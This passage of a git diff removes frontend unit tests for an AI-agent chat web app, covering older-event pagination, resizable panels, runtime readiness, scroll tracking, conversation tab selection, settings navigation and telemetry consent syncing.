useUserConversation } from "#/hooks/query/use-user-conversation"; -import { useConversationHistory } from "#/hooks/query/use-conversation-history"; -import { useEventStore } from "#/stores/use-event-store"; -import { useModelStore } from "#/stores/model-store"; -import { INITIAL_HISTORY_PAGE_SIZE } from "#/hooks/query/use-conversation-history"; -import type { Conversation } from "#/api/open-hands.types"; -import type { OpenHandsEvent } from "#/types/agent-server/core"; -import type { EventSearchPage } from "#/api/event-service/event-service.types"; - -vi.mock("#/api/event-service/event-service.api"); -vi.mock("#/hooks/query/use-user-conversation"); -vi.mock("#/hooks/query/use-conversation-history", () => ({ - INITIAL_HISTORY_PAGE_SIZE: 50, - useConversationHistory: vi.fn(() => ({ - data: undefined, - isFetched: false, - })), -})); - -function makeConversation(): Conversation { - // Cast: `useUserConversation` actually returns an `AppConversation` whose - // event-host URL lives on `conversation_url` (not the `Conversation.url` - // declared above). We mirror that shape here so the hook's call to - // `conversation.conversation_url` resolves. - return { - conversation_id: "conv-test", - title: "Test Conversation", - selected_repository: null, - selected_branch: null, - git_provider: null, - last_updated_at: new Date().toISOString(), - created_at: new Date().toISOString(), - status: "RUNNING", - runtime_status: null, - url: null, - conversation_url: "https://example.com/conv-test", - session_api_key: "secret", - conversation_version: "V1", - } as unknown as Conversation; -} - -function makeEvent(id: string, timestamp: string): OpenHandsEvent { - return { id, timestamp } as unknown as OpenHandsEvent; -} - -function makePage( - items: OpenHandsEvent[], - nextPageId: string | null = null, -): EventSearchPage { - return { items, next_page_id: nextPageId }; -} - -describe("useLoadOlderEvents", () => { - let queryClient: QueryClient; - let wrapper: ({ - children, - }: { - children: React.ReactNode; - }) => React.ReactElement; - - beforeEach(() => { - queryClient = new QueryClient({ - defaultOptions: { queries: { retry: false } }, - }); - wrapper = ({ children }) => - React.createElement( - QueryClientProvider, - { client: queryClient }, - children, - ); - - // Reset event store between tests so prior tests don't leak state. - act(() => { - useEventStore.getState().clearEvents(); - useModelStore.getState().clearAll(); - }); - - vi.mocked(useUserConversation).mockReturnValue({ - data: makeConversation(), - isLoading: false, - isPending: false, - isError: false, - error: null, - refetch: vi.fn(), - } as any); - - vi.mocked(useConversationHistory).mockReturnValue({ - data: undefined, - isFetched: false, - } as ReturnType); - }); - - afterEach(() => { - queryClient.clear(); - vi.clearAllMocks(); - }); - - it("does nothing while the store has no anchor (REST hasn't seeded yet)", async () => { - const spy = vi.spyOn(EventService, "searchEvents"); - const { result } = renderHook(() => useLoadOlderEvents("conv-1"), { - wrapper, - }); - - await act(async () => { - await result.current.loadOlder(); - }); - - expect(spy).not.toHaveBeenCalled(); - expect(result.current.hasMore).toBe(true); - }); - - it("paginates older events using timestamp__lt of the oldest known event", async () => { - // Seed the store with a single recent event so the hook has an anchor. - const recent = makeEvent("evt-recent", "2024-06-01T00:00:00Z"); - act(() => { - useEventStore.getState().addEvent(recent); - }); - - const olderPage = [ - makeEvent("evt-older-1", "2024-05-01T00:00:00Z"), - makeEvent("evt-older-2", "2024-05-15T00:00:00Z"), - ]; - const spy = vi - .spyOn(EventService, "searchEvents") - .mockResolvedValue(makePage(olderPage, null)); - - const { result } = renderHook(() => useLoadOlderEvents("conv-1"), { - wrapper, - }); - - await act(async () => { - await result.current.loadOlder(); - }); - - expect(spy).toHaveBeenCalledWith( - "conv-1", - "https://example.com/conv-test", - "secret", - { - limit: INITIAL_HISTORY_PAGE_SIZE, - sortOrder: "TIMESTAMP_DESC", - timestampLt: "2024-06-01T00:00:00Z", - }, - ); - - // Older events landed in the store, in chronological order. - expect(useEventStore.getState().events.map((e) => (e as any).id)).toEqual([ - "evt-older-1", - "evt-older-2", - "evt-recent", - ]); - - // Server returned a short page → no more pages to load. - await waitFor(() => { - expect(result.current.hasMore).toBe(false); - }); - }); - - it("seeds inline model-switch messages for switches in a paginated older page", async () => { - // A successful SwitchLLMObservation is hidden as a card and surfaced via an - // inline "Switched to" message seeded from history. The initial preload only - // seeds the tail page; a switch in an older page must be seeded when that - // page paginates in, or it vanishes from the transcript entirely. - const recent = makeEvent("evt-recent", "2024-06-01T00:00:00Z"); - act(() => { - useEventStore.getState().addEvent(recent); - }); - - // Older page (server returns TIMESTAMP_DESC; the hook reverses it): a user - // message followed by the agent's successful model switch. - const userMsg = { - id: "evt-user-old", - timestamp: "2024-05-01T00:00:00Z", - source: "user", - llm_message: { role: "user", content: [{ type: "text", text: "hi" }] }, - activated_microagents: [], - extended_content: [], - } as unknown as OpenHandsEvent; - const switchObs = { - id: "evt-switch-old", - timestamp: "2024-05-02T00:00:00Z", - source: "environment", - action_id: "action-switch-old", - tool_name: "switch_llm", - tool_call_id: "call-switch-old", - observation: { - kind: "SwitchLLMObservation", - content: [{ type: "text", text: "Switched to fast-opus" }], - is_error: false, - profile_name: "fast-opus", - reason: null, - active_model: null, - }, - } as unknown as OpenHandsEvent; - - vi.spyOn(EventService, "searchEvents").mockResolvedValue( - // Descending order, as the server returns it. - makePage([switchObs, userMsg], null), - ); - - const { result } = renderHook(() => useLoadOlderEvents("conv-1"), { - wrapper, - }); - - await act(async () => { - await result.current.loadOlder(); - }); - - // The switch is seeded (idempotent id derived from the observation event), - // anchored to the renderable user message that precedes it. - const entries = useModelStore.getState().entriesByConversation["conv-1"]; - expect(entries).toEqual([ - expect.objectContaining({ - id: "history-switch:evt-switch-old", - switchedTo: "fast-opus", - anchorEventId: "evt-user-old", - }), - ]); - }); - - it("keeps paginating while the server keeps returning full pages", async () => { - act(() => { - useEventStore - .getState() - .addEvent(makeEvent("evt-recent", "2024-06-01T00:00:00Z")); - }); - - const fullPage: OpenHandsEvent[] = Array.from( - { length: INITIAL_HISTORY_PAGE_SIZE }, - (_, i) => - makeEvent( - `evt-page1-${i}`, - // Descending timestamps within the page so newest-first works. - new Date(2024, 4, 30 - i).toISOString(), - ), - ); - - vi.spyOn(EventService, "searchEvents").mockResolvedValue( - makePage(fullPage, "next-page"), - ); - - const { result } = renderHook(() => useLoadOlderEvents("conv-1"), { - wrapper, - }); - - await act(async () => { - await result.current.loadOlder(); - }); - - // Full page + next_page_id present → still has more. - expect(result.current.hasMore).toBe(true); - }); - - it("coalesces repeated loadOlder calls while a page request is already in flight", async () => { - act(() => { - useEventStore - .getState() - .addEvent(makeEvent("evt-recent", "2024-06-01T00:00:00Z")); - }); - - let resolvePage!: (page: EventSearchPage) => void; - const pendingPage = new Promise>( - (resolve) => { - resolvePage = resolve; - }, - ); - - const spy = vi - .spyOn(EventService, "searchEvents") - .mockReturnValue(pendingPage); - - const { result } = renderHook(() => useLoadOlderEvents("conv-1"), { - wrapper, - }); - - let firstLoad!: Promise; - let secondLoad!: Promise; - await act(async () => { - firstLoad = result.current.loadOlder(); - secondLoad = result.current.loadOlder(); - }); - - expect(spy).toHaveBeenCalledTimes(1); - expect(result.current.isLoading).toBe(true); - - await act(async () => { - resolvePage(makePage([makeEvent("evt-older", "2024-05-01T00:00:00Z")], null)); - await Promise.all([firstLoad, secondLoad]); - }); - - expect(result.current.isLoading).toBe(false); - }); - - it("cleans up loading state and rethrows when the page request fails", async () => { - act(() => { - useEventStore - .getState() - .addEvent(makeEvent("evt-recent", "2024-06-01T00:00:00Z")); - }); - - vi.spyOn(EventService, "searchEvents").mockRejectedValue( - new Error("request failed"), - ); - - const { result } = renderHook(() => useLoadOlderEvents("conv-1"), { - wrapper, - }); - - let thrown: unknown; - await act(async () => { - try { - await result.current.loadOlder(); - } catch (error) { - thrown = error; - } - }); - - expect(thrown).toBeInstanceOf(Error); - expect((thrown as Error).message).toBe("request failed"); - expect(result.current.isLoading).toBe(false); - expect(result.current.hasMore).toBe(true); - }); - - it("throws a descriptive error when searchEvents returns malformed items", async () => { - act(() => { - useEventStore - .getState() - .addEvent(makeEvent("evt-recent", "2024-06-01T00:00:00Z")); - }); - - vi.spyOn(EventService, "searchEvents").mockResolvedValue({ - items: { bad: true }, - next_page_id: null, - } as unknown as EventSearchPage); - - const { result } = renderHook(() => useLoadOlderEvents("conv-1"), { - wrapper, - }); - - let thrown: unknown; - await act(async () => { - try { - await result.current.loadOlder(); - } catch (error) { - thrown = error; - } - }); - - expect(thrown).toBeInstanceOf(Error); - expect((thrown as Error).message).toBe( - "Invalid older-events response: expected page.items to be an array.", - ); - expect(result.current.isLoading).toBe(false); - expect(result.current.hasMore).toBe(true); - }); - - it("stops paginating silently when the oldest loaded event is missing a timestamp", async () => { - act(() => { - useEventStore - .getState() - .addEvent({ id: "evt-missing-ts" } as OpenHandsEvent); - }); - - const spy = vi.spyOn(EventService, "searchEvents"); - const { result } = renderHook(() => useLoadOlderEvents("conv-1"), { - wrapper, - }); - - await act(async () => { - await result.current.loadOlder(); - }); - - expect(spy).not.toHaveBeenCalled(); - await waitFor(() => { - expect(result.current.hasMore).toBe(false); - }); - }); - - it("does not paginate on start-task placeholder conversation ids", async () => { - act(() => { - useEventStore - .getState() - .addEvent(makeEvent("evt-recent", "2024-06-01T00:00:00Z")); - }); - - const spy = vi.spyOn(EventService, "searchEvents"); - const { result } = renderHook(() => useLoadOlderEvents("task-abc"), { - wrapper, - }); - - expect(result.current.hasMore).toBe(false); - - await act(async () => { - await result.current.loadOlder(); - }); - - expect(spy).not.toHaveBeenCalled(); - }); - - it("mirrors initial REST history hasMore=false so short chats do not backfill", async () => { - vi.mocked(useConversationHistory).mockReturnValue({ - data: { - events: [makeEvent("evt-only", "2024-06-01T00:00:00Z")], - hasMore: false, - nextPageId: null, - }, - isFetched: true, - } as ReturnType); - - act(() => { - useEventStore - .getState() - .addEvent(makeEvent("evt-only", "2024-06-01T00:00:00Z")); - }); - - const spy = vi.spyOn(EventService, "searchEvents"); - const { result } = renderHook(() => useLoadOlderEvents("conv-1"), { - wrapper, - }); - - await waitFor(() => { - expect(result.current.hasMore).toBe(false); - }); - - await act(async () => { - await result.current.loadOlder(); - }); - - expect(spy).not.toHaveBeenCalled(); - }); -}); diff --git a/__tests__/hooks/use-resizable-panels.test.ts b/__tests__/hooks/use-resizable-panels.test.ts deleted file mode 100644 index 505e16e1c..000000000 --- a/__tests__/hooks/use-resizable-panels.test.ts +++ /dev/null @@ -1,88 +0,0 @@ -import { act, renderHook } from "@testing-library/react"; -import type { MouseEvent as ReactMouseEvent } from "react"; -import { describe, it, expect, beforeEach } from "vitest"; - -import { useResizablePanels } from "#/hooks/use-resizable-panels"; - -describe("useResizablePanels", () => { - beforeEach(() => { - window.localStorage.clear(); - }); - - it("clamps a stale persisted width that is below minLeftWidth on read", () => { - window.localStorage.setItem("test-panel-width", JSON.stringify(10)); - - const { result } = renderHook(() => - useResizablePanels({ - defaultLeftWidth: 50, - minLeftWidth: 30, - maxLeftWidth: 80, - storageKey: "test-panel-width", - }), - ); - - expect(result.current.leftWidth).toBe(30); - expect(result.current.rightWidth).toBe(70); - }); - - it("clamps a stale persisted width that is above maxLeftWidth on read", () => { - window.localStorage.setItem("test-panel-width", JSON.stringify(95)); - - const { result } = renderHook(() => - useResizablePanels({ - defaultLeftWidth: 50, - minLeftWidth: 30, - maxLeftWidth: 80, - storageKey: "test-panel-width", - }), - ); - - expect(result.current.leftWidth).toBe(80); - expect(result.current.rightWidth).toBe(20); - }); - - it("uses the persisted value as-is when within range", () => { - window.localStorage.setItem("test-panel-width", JSON.stringify(60)); - - const { result } = renderHook(() => - useResizablePanels({ - defaultLeftWidth: 50, - minLeftWidth: 30, - maxLeftWidth: 80, - storageKey: "test-panel-width", - }), - ); - - expect(result.current.leftWidth).toBe(60); - expect(result.current.rightWidth).toBe(40); - }); - - it("mounts a full-viewport drag shield while dragging so iframe-heavy panes do not steal pointer events", () => { - const { result } = renderHook(() => - useResizablePanels({ - defaultLeftWidth: 50, - minLeftWidth: 30, - maxLeftWidth: 80, - storageKey: "test-panel-width", - }), - ); - - expect(document.querySelector("[data-panel-drag-shield]")).toBeNull(); - - act(() => { - result.current.handleMouseDown({ - preventDefault: () => {}, - } as unknown as ReactMouseEvent); - }); - - const shield = document.querySelector("[data-panel-drag-shield]"); - expect(shield).not.toBeNull(); - expect(shield).toBeInstanceOf(HTMLDivElement); - - act(() => { - document.dispatchEvent(new MouseEvent("mouseup")); - }); - - expect(document.querySelector("[data-panel-drag-shield]")).toBeNull(); - }); -}); diff --git a/__tests__/hooks/use-runtime-is-ready.test.tsx b/__tests__/hooks/use-runtime-is-ready.test.tsx deleted file mode 100644 index 08b6f6a05..000000000 --- a/__tests__/hooks/use-runtime-is-ready.test.tsx +++ /dev/null @@ -1,71 +0,0 @@ -import { renderHook } from "@testing-library/react"; -import { beforeEach, describe, expect, it, vi } from "vitest"; -import { useRuntimeIsReady } from "#/hooks/use-runtime-is-ready"; -import { useAgentState } from "#/hooks/use-agent-state"; -import { useActiveConversation } from "#/hooks/query/use-active-conversation"; -import { AgentState } from "#/types/agent-state"; -import { AppConversation } from "#/api/conversation-service/agent-server-conversation-service.types"; -import { ExecutionStatus } from "#/types/agent-server/core/base/common"; - -vi.mock("#/hooks/use-agent-state"); -vi.mock("#/hooks/query/use-active-conversation"); - -function asMockReturnValue(value: Partial): T { - return value as T; -} - -function makeConversation(): AppConversation { - return { - id: "conv-123", - title: "Test Conversation", - selected_repository: null, - selected_branch: null, - git_provider: null, - updated_at: new Date().toISOString(), - created_at: new Date().toISOString(), - execution_status: ExecutionStatus.RUNNING, - conversation_url: null, - session_api_key: null, - sandbox_id: null, - sub_conversation_ids: [], - created_by_user_id: null, - trigger: null, - pr_number: [], - llm_model: "llm-model", - metrics: null, - }; -} - -describe("useRuntimeIsReady", () => { - beforeEach(() => { - vi.clearAllMocks(); - - vi.mocked(useActiveConversation).mockReturnValue( - asMockReturnValue>({ - data: makeConversation(), - }), - ); - }); - - it("treats agent errors as not ready by default", () => { - vi.mocked(useAgentState).mockReturnValue({ - curAgentState: AgentState.ERROR, - }); - - const { result } = renderHook(() => useRuntimeIsReady()); - - expect(result.current).toBe(false); - }); - - it("allows runtime-backed tabs to stay ready when the agent errors", () => { - vi.mocked(useAgentState).mockReturnValue({ - curAgentState: AgentState.ERROR, - }); - - const { result } = renderHook(() => - useRuntimeIsReady({ allowAgentError: true }), - ); - - expect(result.current).toBe(true); - }); -}); diff --git a/__tests__/hooks/use-scroll-to-bottom.test.ts b/__tests__/hooks/use-scroll-to-bottom.test.ts deleted file mode 100644 index e3d30f0ba..000000000 --- a/__tests__/hooks/use-scroll-to-bottom.test.ts +++ /dev/null @@ -1,126 +0,0 @@ -import { describe, expect, it, vi, beforeEach } from "vitest"; -import { renderHook, act } from "@testing-library/react"; -import { useScrollToBottom } from "#/hooks/use-scroll-to-bottom"; -import type { RefObject } from "react"; - -/** - * Creates a mock scroll element with a trackable scrollTop setter. - * - * state.scrollTop can be set directly (bypassing the spy) to position - * the element for onChatBodyScroll calls without polluting the spy. - */ -function createMockScrollElement(initialScrollHeight = 1000) { - const state = { - scrollTop: 0, - scrollHeight: initialScrollHeight, - clientHeight: 500, - }; - - const scrollTopSetter = vi.fn((value: number) => { - state.scrollTop = value; - }); - - const element = { - get scrollTop() { - return state.scrollTop; - }, - set scrollTop(value: number) { - scrollTopSetter(value); - }, - get scrollHeight() { - return state.scrollHeight; - }, - get clientHeight() { - return state.clientHeight; - }, - } as unknown as HTMLDivElement; - - return { element, scrollTopSetter, state }; -} - -describe("useScrollToBottom", () => { - let mock: ReturnType; - let ref: RefObject; - - beforeEach(() => { - mock = createMockScrollElement(1000); - ref = { current: mock.element } as RefObject; - }); - - describe("no automatic scrolling on render", () => { - it("does NOT scroll on initial render", () => { - renderHook(() => useScrollToBottom(ref)); - - // No useLayoutEffect means no automatic scroll-to-bottom - expect(mock.scrollTopSetter).not.toHaveBeenCalled(); - }); - - it("does NOT scroll when re-rendered (e.g., during resize)", () => { - const { rerender } = renderHook(() => useScrollToBottom(ref)); - - mock.state.scrollHeight = 1500; - rerender(); - - expect(mock.scrollTopSetter).not.toHaveBeenCalled(); - }); - }); - - describe("scroll position tracking", () => { - it("tracks hitBottom correctly via onChatBodyScroll", () => { - const { result } = renderHook(() => useScrollToBottom(ref)); - - // Position at bottom: scrollTop(480) + clientHeight(500) = 980 >= 1000 - 20 - mock.state.scrollTop = 480; - act(() => { - result.current.onChatBodyScroll(mock.element); - }); - expect(result.current.hitBottom).toBe(true); - - // Position not at bottom: scrollTop(200) + clientHeight(500) = 700 < 980 - mock.state.scrollTop = 200; - act(() => { - result.current.onChatBodyScroll(mock.element); - }); - expect(result.current.hitBottom).toBe(false); - }); - - it("disables autoScroll when user scrolls up", () => { - const { result } = renderHook(() => useScrollToBottom(ref)); - - // First scroll to establish prevScrollTopRef - mock.state.scrollTop = 400; - act(() => { - result.current.onChatBodyScroll(mock.element); - }); - - // Scroll up (lower scrollTop than previous) - mock.state.scrollTop = 200; - act(() => { - result.current.onChatBodyScroll(mock.element); - }); - expect(result.current.autoScroll).toBe(false); - }); - - it("re-enables autoScroll when user reaches bottom", () => { - const { result } = renderHook(() => useScrollToBottom(ref)); - - // Scroll up to disable autoScroll - mock.state.scrollTop = 400; - act(() => { - result.current.onChatBodyScroll(mock.element); - }); - mock.state.scrollTop = 200; - act(() => { - result.current.onChatBodyScroll(mock.element); - }); - expect(result.current.autoScroll).toBe(false); - - // Scroll to bottom - mock.state.scrollTop = 500; // 500 + 500 = 1000 >= 980 - act(() => { - result.current.onChatBodyScroll(mock.element); - }); - expect(result.current.autoScroll).toBe(true); - }); - }); -}); diff --git a/__tests__/hooks/use-select-conversation-tab.test.ts b/__tests__/hooks/use-select-conversation-tab.test.ts deleted file mode 100644 index 2fa1bbcea..000000000 --- a/__tests__/hooks/use-select-conversation-tab.test.ts +++ /dev/null @@ -1,241 +0,0 @@ -import { describe, it, expect, vi, beforeEach } from "vitest"; -import { renderHook, act } from "@testing-library/react"; -import { useSelectConversationTab } from "#/hooks/use-select-conversation-tab"; -import { useConversationStore } from "#/stores/conversation-store"; - -const TEST_CONVERSATION_ID = "test-conversation-id"; - -vi.mock("#/hooks/use-conversation-id", () => ({ - useOptionalConversationId: () => ({ conversationId: "test-conversation-id" }), - useConversationId: () => ({ conversationId: TEST_CONVERSATION_ID }), -})); - -describe("useSelectConversationTab", () => { - beforeEach(() => { - vi.clearAllMocks(); - localStorage.clear(); - useConversationStore.setState({ - selectedTab: null, - isRightPanelShown: false, - hasRightPanelToggled: false, - }); - }); - - describe("selectTab", () => { - it("should open panel and select tab when panel is closed", () => { - // Arrange: Panel is closed - useConversationStore.setState({ - selectedTab: null, - isRightPanelShown: false, - hasRightPanelToggled: false, - }); - - const { result } = renderHook(() => useSelectConversationTab()); - - // Act: Select a tab - act(() => { - result.current.selectTab("files"); - }); - - // Assert: Panel should be open and tab selected (in-memory only). - expect(useConversationStore.getState().selectedTab).toBe("files"); - expect(useConversationStore.getState().hasRightPanelToggled).toBe(true); - - // Tab selection is persisted; the right-drawer open state is - // intentionally session-only and must NOT touch localStorage. - const storedState = JSON.parse( - localStorage.getItem(`conversation-state-${TEST_CONVERSATION_ID}`)!, - ); - expect(storedState.selectedTab).toBe("files"); - expect(storedState).not.toHaveProperty("rightPanelShown"); - }); - - it("should close panel when clicking the same active tab", () => { - // Arrange: Panel is open with editor tab selected - useConversationStore.setState({ - selectedTab: "files", - isRightPanelShown: true, - hasRightPanelToggled: true, - }); - - const { result } = renderHook(() => useSelectConversationTab()); - - // Act: Click the same tab again - act(() => { - result.current.selectTab("files"); - }); - - // Assert: Panel should be closed (in-memory only). - expect(useConversationStore.getState().hasRightPanelToggled).toBe(false); - - // The drawer-close shouldn't have written to localStorage at all - // (session-only behavior). If anything is persisted, it's just the - // pre-existing tab selection from earlier writes — never a - // `rightPanelShown` field. - const raw = localStorage.getItem( - `conversation-state-${TEST_CONVERSATION_ID}`, - ); - if (raw !== null) { - expect(JSON.parse(raw)).not.toHaveProperty("rightPanelShown"); - } - }); - - it("should switch to different tab when panel is already open", () => { - // Arrange: Panel is open with editor tab selected - useConversationStore.setState({ - selectedTab: "files", - isRightPanelShown: true, - hasRightPanelToggled: true, - }); - - const { result } = renderHook(() => useSelectConversationTab()); - - // Act: Select a different tab - act(() => { - result.current.selectTab("terminal"); - }); - - // Assert: New tab should be selected, panel still open - expect(useConversationStore.getState().selectedTab).toBe("terminal"); - expect(useConversationStore.getState().isRightPanelShown).toBe(true); - - // Verify localStorage was updated - const storedState = JSON.parse( - localStorage.getItem( - `conversation-state-${TEST_CONVERSATION_ID}`, - )!, - ); - expect(storedState.selectedTab).toBe("terminal"); - }); - }); - - describe("isTabActive", () => { - it("should return true when tab is selected and panel is visible", () => { - // Arrange: Panel is open with editor tab selected - useConversationStore.setState({ - selectedTab: "files", - isRightPanelShown: true, - hasRightPanelToggled: true, - }); - - const { result } = renderHook(() => useSelectConversationTab()); - - // Assert: Editor tab should be active - expect(result.current.isTabActive("files")).toBe(true); - }); - - it("should return false when tab is selected but panel is not visible", () => { - // Arrange: Editor tab selected but panel is closed - useConversationStore.setState({ - selectedTab: "files", - isRightPanelShown: false, - hasRightPanelToggled: false, - }); - - const { result } = renderHook(() => useSelectConversationTab()); - - // Assert: Editor tab should not be active - expect(result.current.isTabActive("files")).toBe(false); - }); - - it("should return false when different tab is selected", () => { - // Arrange: Panel is open with editor tab selected - useConversationStore.setState({ - selectedTab: "files", - isRightPanelShown: true, - hasRightPanelToggled: true, - }); - - const { result } = renderHook(() => useSelectConversationTab()); - - // Assert: Terminal tab should not be active - expect(result.current.isTabActive("terminal")).toBe(false); - }); - }); - - describe("onTabChange", () => { - it("should update both Zustand store and localStorage when changing tab", () => { - // Arrange - useConversationStore.setState({ - selectedTab: null, - isRightPanelShown: false, - hasRightPanelToggled: false, - }); - - const { result } = renderHook(() => useSelectConversationTab()); - - // Act: Change tab - act(() => { - result.current.onTabChange("browser"); - }); - - // Assert: Both store and localStorage should be updated - expect(useConversationStore.getState().selectedTab).toBe("browser"); - - // Verify localStorage was updated - const storedState = JSON.parse( - localStorage.getItem( - `conversation-state-${TEST_CONVERSATION_ID}`, - )!, - ); - expect(storedState.selectedTab).toBe("browser"); - }); - - it("should set tab to null when passing null", () => { - // Arrange - useConversationStore.setState({ - selectedTab: "files", - isRightPanelShown: true, - hasRightPanelToggled: true, - }); - - const { result } = renderHook(() => useSelectConversationTab()); - - // Act: Set tab to null - act(() => { - result.current.onTabChange(null); - }); - - // Assert: Tab should be null - expect(useConversationStore.getState().selectedTab).toBe(null); - - // Verify localStorage was updated - const storedState = JSON.parse( - localStorage.getItem( - `conversation-state-${TEST_CONVERSATION_ID}`, - )!, - ); - expect(storedState.selectedTab).toBe(null); - }); - }); - - describe("returned values", () => { - it("should return current selectedTab from store", () => { - // Arrange - useConversationStore.setState({ - selectedTab: "browser", - isRightPanelShown: true, - hasRightPanelToggled: true, - }); - - const { result } = renderHook(() => useSelectConversationTab()); - - // Assert: Should return current selectedTab - expect(result.current.selectedTab).toBe("browser"); - }); - - it("should return current isRightPanelShown from store", () => { - // Arrange - useConversationStore.setState({ - selectedTab: "files", - isRightPanelShown: true, - hasRightPanelToggled: true, - }); - - const { result } = renderHook(() => useSelectConversationTab()); - - // Assert: Should return current panel state - expect(result.current.isRightPanelShown).toBe(true); - }); - }); -}); diff --git a/__tests__/hooks/use-settings-nav-items.test.tsx b/__tests__/hooks/use-settings-nav-items.test.tsx deleted file mode 100644 index 3cdde0732..000000000 --- a/__tests__/hooks/use-settings-nav-items.test.tsx +++ /dev/null @@ -1,179 +0,0 @@ -import { renderHook } from "@testing-library/react"; -import { beforeEach, describe, expect, it, vi } from "vitest"; -import { OSS_NAV_ITEMS } from "#/constants/settings-nav"; -import { useSettingsNavItems } from "#/hooks/use-settings-nav-items"; -import { WebClientConfig } from "#/api/option-service/option.types"; - -const useConfigMock = vi.fn(); -const useSettingsMock = vi.fn(); -const useActiveBackendMock = vi.fn< - () => { backend: { kind: "local" | "cloud" }; orgId: string | null } ->(() => ({ - backend: { kind: "local" }, - orgId: null, -})); -const useActiveAgentProfileMock = vi.fn< - () => { activeProfile: { agent_kind: string; name: string } | null } ->(() => ({ activeProfile: null })); - -vi.mock("#/hooks/query/use-config", () => ({ - useConfig: () => useConfigMock(), -})); - -vi.mock("#/hooks/query/use-settings", () => ({ - useSettings: () => useSettingsMock(), -})); - -vi.mock("#/contexts/active-backend-context", () => ({ - useActiveBackend: () => useActiveBackendMock(), -})); - -vi.mock("#/hooks/use-active-agent-profile", () => ({ - useActiveAgentProfile: () => useActiveAgentProfileMock(), -})); - -const createConfig = ( - feature_flags: Partial = {}, -): WebClientConfig => ({ - feature_flags: { - hide_llm_settings: false, - hide_users_page: true, - ...feature_flags, - }, - providers_configured: [], - maintenance_start_time: null, - recaptcha_site_key: null, - faulty_models: [], - error_message: null, - updated_at: new Date().toISOString(), -}); - -const openHandsSettings = { - agent_settings: { agent_kind: "openhands" }, -}; - -describe("useSettingsNavItems", () => { - beforeEach(() => { - vi.clearAllMocks(); - useSettingsMock.mockReturnValue({ data: openHandsSettings }); - useActiveBackendMock.mockReturnValue({ - backend: { kind: "local" }, - orgId: null, - }); - useActiveAgentProfileMock.mockReturnValue({ activeProfile: null }); - }); - - it("returns the LLM settings item unchanged on local backends", () => { - useConfigMock.mockReturnValue({ data: createConfig() }); - - const { result } = renderHook(() => useSettingsNavItems()); - const llmItem = result.current.find( - (item) => item.type === "item" && item.item.to === "/settings/llm", - ); - - const baseLlm = OSS_NAV_ITEMS.find((item) => item.to === "/settings/llm")!; - expect(llmItem).toEqual({ - type: "item", - item: baseLlm, - }); - }); - - it("keeps the generic LLM settings item on cloud backends", () => { - useConfigMock.mockReturnValue({ data: createConfig() }); - useActiveBackendMock.mockReturnValue({ - backend: { kind: "cloud" }, - orgId: "org-123", - }); - - const { result } = renderHook(() => useSettingsNavItems()); - - // Agent profiles are available on cloud too (OpenHands #15060), so every - // OSS item is present; only the `/settings` LLM-Profiles rename stays - // local-only, so on cloud every item is passed through unchanged. - expect(result.current).toEqual( - OSS_NAV_ITEMS.map((item) => ({ type: "item", item })), - ); - }); - - it("shows a single Agent item (the profile library) on both local and cloud", () => { - useConfigMock.mockReturnValue({ data: createConfig() }); - - for (const kind of ["local", "cloud"] as const) { - useActiveBackendMock.mockReturnValue({ - backend: { kind }, - orgId: kind === "cloud" ? "org-123" : null, - }); - const paths = renderHook(() => useSettingsNavItems()) - .result.current.filter((item) => item.type === "item") - .map((item) => (item.type === "item" ? item.item.to : null)); - // "Agent" IS the profile library; the old standalone /settings/agent - // global-agent form + separate /settings/agents "Agent profiles" item - // were collapsed into one. - expect(paths).toContain("/settings/agents"); - expect(paths).not.toContain("/settings/agent"); - expect(paths.filter((p) => p === "/settings/agents")).toHaveLength(1); - } - }); - - it("filters hidden routes from the OSS settings items", () => { - useConfigMock.mockReturnValue({ - data: createConfig({ hide_llm_settings: true }), - }); - - const { result } = renderHook(() => useSettingsNavItems()); - const paths = result.current - .filter((item) => item.type === "item") - .map((item) => (item.type === "item" ? item.item.to : null)); - - expect(paths).not.toContain("/settings/llm"); - expect(paths).toContain("/settings/app"); - expect(paths).toContain("/settings/secrets"); - }); - - it("never lists removed settings sub-pages", () => { - useConfigMock.mockReturnValue({ data: createConfig() }); - - const { result } = renderHook(() => useSettingsNavItems()); - const paths = result.current - .filter((item) => item.type === "item") - .map((item) => (item.type === "item" ? item.item.to : null)); - - expect(paths).not.toContain("/settings/agent-server"); - expect(paths).not.toContain("/settings/integrations"); - expect(paths).not.toContain("/settings/skills"); - expect(paths).not.toContain("/settings/mcp"); - }); - - it("keeps every settings library enabled while an ACP profile is active", () => { - useConfigMock.mockReturnValue({ data: createConfig() }); - useSettingsMock.mockReturnValue({ - data: { - agent_settings: { agent_kind: "acp", acp_server: "claude-code" }, - }, - }); - useActiveAgentProfileMock.mockReturnValue({ - activeProfile: { agent_kind: "acp", name: "MyClaude" }, - }); - - const { result } = renderHook(() => useSettingsNavItems()); - const byPath = new Map( - result.current - .filter((item) => item.type === "item") - .map( - (item) => [item.type === "item" ? item.item.to : "", item] as const, - ), - ); - - for (const path of [ - "/settings/llm", - "/settings/condenser", - "/settings/verification", - ]) { - const renderedItem = byPath.get(path); - expect(renderedItem).toEqual({ - type: "item", - item: OSS_NAV_ITEMS.find((item) => item.to === path), - }); - } - }); -}); diff --git a/__tests__/hooks/use-sync-automation-telemetry-consent.test.ts b/__tests__/hooks/use-sync-automation-telemetry-consent.test.ts deleted file mode 100644 index e98e4c489..000000000 --- a/__tests__/hooks/use-sync-automation-telemetry-consent.test.ts +++ /dev/null @@ -1,115 +0,0 @@ -import { act, renderHook } from "@testing-library/react"; -import { beforeEach, describe, expect, it, vi } from "vitest"; - -const syncTelemetryConsentMock = vi.fn(); -const state = { - backendId: "local-1", - backendKind: "local" as "local" | "cloud", - backendHost: "http://localhost:8000", - backendApiKey: "key-1", - consent: "pending" as "pending" | "granted" | "denied", -}; -const listeners = new Set<() => void>(); - -vi.mock("#/api/automation-service/automation-service.api", () => ({ - default: { - syncTelemetryConsent: (...args: unknown[]) => - syncTelemetryConsentMock(...args), - }, -})); - -vi.mock("#/contexts/active-backend-context", () => ({ - useActiveBackend: () => ({ - backend: { - id: state.backendId, - kind: state.backendKind, - host: state.backendHost, - apiKey: state.backendApiKey, - }, - }), -})); - -vi.mock("#/services/telemetry", () => ({ - getTelemetryConsent: () => state.consent, - subscribeTelemetryConsent: (listener: () => void) => { - listeners.add(listener); - return () => listeners.delete(listener); - }, -})); - -// Import after mocks so the module sees the stubbed dependencies. -import { useSyncAutomationTelemetryConsent } from "#/hooks/use-sync-automation-telemetry-consent"; - -describe("useSyncAutomationTelemetryConsent", () => { - beforeEach(() => { - vi.clearAllMocks(); - syncTelemetryConsentMock.mockResolvedValue(undefined); - listeners.clear(); - state.backendId = "local-1"; - state.backendHost = 